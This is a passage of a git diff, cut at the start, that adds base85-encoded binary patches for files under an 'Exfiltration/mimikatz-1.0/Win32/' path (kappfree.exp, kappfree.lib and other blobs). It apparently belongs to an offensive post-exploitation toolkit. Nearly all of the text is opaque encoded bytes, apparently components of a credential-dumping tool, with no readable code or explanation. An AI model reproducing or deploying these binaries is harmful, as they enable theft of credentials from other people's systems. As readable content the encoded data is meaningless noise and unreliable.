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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp new file mode 100644 index 0000000000000000000000000000000000000000..a6fb957770692a5adb31b685b2a1a2e5fd9a05d2 GIT binary patch literal 693 zcmbtS-AV#M6h5n!5fORc#Rgs|=B5TA{g5OXlA0*!%|MLqsKfruGQ0lZixl(*Jy`cW zft}fPt*$%lIrE*5GiScpGfgc4`L{;*Gy$*=p=ky)X+Wby#X7o){-F}IJ@hJmhRKGr zNv5YbW!D_jk3Z=Zz&}hH2a22UG?FIK&bZ2`MjJqMqhEdg>AyQgXVa*q!b3AqcS{fnLuE-+~rn4dGhy|0qDYNZ|rN<<9m>W== zG~BtcSfRxoZqZ;xoDC?Hj3OCu_o7U;I@!{LJlv#H*jP!6>;M-r*Pz8mQutyV=-F;g zZ#LRb@CvtS7%j|y%7_I3TQb$EBgI5gN3V06`FeI)xy+HD)BD_?QCsf?Gm{IwRK$Dq zYh=h>VsqCrR1Y|UN?Hx)W%JvsBjI=kH^uxN)@yaU-_Ju;Cc$5|se^mVm_>}7cymlZ j4I^fvDm9dtSv*U8SH&%pX&2E-aJOY*6-b1Z2uJx1NR*4I literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib new file mode 100644 index 0000000000000000000000000000000000000000..0f5d04765abf74c2c49fcef53c94323a69090a3d GIT binary patch literal 1702 zcmcIl&2G~`5dLh3Qmm?qC>%kqR0$AL$d6r8gpgZ`L{vAeTvr@jlcY4Fm7_HD%B?3J zfCFcqpeIg!0uCH_0M31fGPBu9Tu32QVIuGB%+Buo>^GbFr%AW5_so9eT%=N^TJ${k z@sf8@U({l$yr^e8Hh^n@aST`|K<*5f^7)J7+WO{37{#kEww{Nz&1fTx-zJ^TZnxD! z9M`vl;CBnW7n8n0^m4nt7OyTx%e19^(23*2UefKog7ANiyfTbDN1-1Zz=;K%k>F3M zRA9hFj(!&Tyh;wEBfUH`Nx9J6-{*Y(R(*G=I;ehNSa|rc7S2*0)07X9QE0Yazk9Q= z)fa&kntTvJb07JYLc5vtl7+G?-J;1?`hI8yl?6VEr`m2&t1-(H@+WpI`fyH7;&Zsc zB4)Bl-NRh|Iw|=;CdN#9baTDk=%$D1ZqKxQCeqz4@eH$D1<^K)^?dzd&r6Oy$LsEGGOqw-@A({$ zF*6a-cr^@74lQM`ltGKB(DFq^$1#pZOH(ZkhYVUOqGhyv7D01H%l|>aI5&HTqPX;7 zv9m}Sr_0J!dF^&=>9X(Sp?}Y#>-L8(^Q2UaM((mKWxC82J==W~LG#JhcbuBuCC`(? bqAO5z_0DKV6rk19;QFV)6Xjk6t8?pZ?N# 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 